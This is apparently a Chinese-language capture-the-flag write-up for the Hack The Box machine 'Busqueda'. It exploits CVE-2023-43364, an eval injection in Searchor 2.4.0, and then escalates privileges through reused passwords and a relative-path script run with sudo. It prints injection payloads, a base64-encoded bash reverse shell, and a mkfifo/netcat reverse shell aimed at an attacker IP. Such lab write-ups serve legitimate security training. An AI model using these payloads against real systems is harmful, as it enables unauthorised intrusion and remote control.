Busqueda 测试过程
0x01 信息收集
a.端口扫描
:发现22、80端口
nmap -sC -sV 10.129.228.217
echo "10.129.228.217 searcher.htb" | sudo tee -a /etc/hosts
0x02 漏洞测试
1. 访问 10.129.228.217
,web应用程序有两个可测试点:Searchor2.4.0(重定向的search功能)、Flask web框架
2. Searchor2.4.0(重定向的search功能)测试
点击 Searchor2.4.0 跳转到github,对其具有详细描写:Searchor是一款一体化PyPi Python库,可简化网页抓取、获取主题信息以及生成搜索查询 URL。
1>
输入test,跳转到:https://www.bing.com/search?q=test;search参数可控
2>
搜索Searchor 在 v<=2.4.2发现存在CVE-2023-43364
Searchor 在 v<=2.4.2 中存在一个问题,允许攻击者通过精心设计的脚本对 Searchor 的 src/searchor/main.py 文件中的 eval() 函数执行任意代码,从而影响 Searchor 的 CLI 中的搜索功能,
漏洞编号 CVE-2023-43364
3>
漏洞代码分析
@click.argument("query")
def search(engine, query, open, copy):
try:
url = eval( # <<< See here
f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
)
click.echo(url)
searchor.history.update(engine, query, url)
if open:
click.echo("opening browser...")
...
3. CVE-2023-43364 测试
eval 不支持多行执行,并且为不影响语句正常运行,闭合前半部分eval语句
构造如下payload:
') + str(__import__('os').system('id')) #
4. 利用 CVE-2023-43364 反弹 shell
')+ str(__import__('os').system('echo bash -i >& /dev/tcp/10.10.14.150/4444 0>&1|base64 -d|bash'))#
')+ str(__import__('os').system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNTAvNDQ0NCAwPiYx|base64 -d|bash'))#
0x03 权限提升
1.信息收集
执行 ls -la
,发现在.git目录下存在config配置文件
config文件中存在:
账号:cody
密码:jh1usoih2bkjaspwe92
子域名:gitea.searcher.htb
echo "10.129.228.217 gitea.searcher.htb" | sudo tee -a /etc/hosts
访问 gitea.searcher.htb 子域
在explore下发现两个域名称:administrator和cody
使用 cody:jh1usoih2bkjaspwe92
登录系统
发现searcher_site存储库
2.sudo -l 探测,未发现可利用
3.尝试密码复用,cody和svc密码是否可以共用
利用密码 jh1usoih2bkjaspwe92 ssh登录 svc 账户
ssh svc@10.129.228.217
python 可以以 root 权限运行 system-check.py *
sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
在输出的用法界面提示,执行system-checkup.py*脚本,需要添加参数(arg1)(arg2)
,并给出了三个命令,dockerps、docker-inspect、full-checkup
添加 docker-ps 命令,继续执行脚本:
执行docker-ps,发现两个正在运行的容器
添加 docker-inspect 命令,继续执行脚本:
输出显示需要 format 和 container_name,即格式和容器名称
容器名称在执行 docker-inspect 的时候已经得到了两个,但是现在不知道 format 参数是代表什么
4.查询format参数
搜索 docker-inspect
命令的相关信息
根据Docker官网给出的文档:--format 参数为标准化输出
,使用
{{json.}}
,以json格式输出容器的相关信息
jq 工具
可以将 json 解析为可读格式,检测是否安装 jq工具
# 输出 gitea 容器的相关信息
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' gitea
| jq
在gitea的输出信息中,获取到密码:yuiu1hoiu4i5ho1uh
使用账号密码 administrator:yuiu1hoiu4i5ho1uh
登录子域gitea.searcher.htb
枚举 administrator 存储库,在scripts下发现system-checkup.py,检查脚本内容
分析脚本内容,full-checkup参数执行了 ./full-checkup.sh 脚本,并且在引用full-checkup.sh时使用的是相对路径,这表明,system-checkup.py 所在目录 /opt/scripts 下执行 full-checkup.sh 时,都会执行成功。
那我们把反弹shell代码写入新建的full-checkup.sh,在执行full-checkup时,则会引用full-checkup.sh,成功执行反弹shell
echo -en "#! /bin/bash\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.150 4444 >/tmp/f" > /tmp/full-checkup.sh
chmod +x full-checkup.sh
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup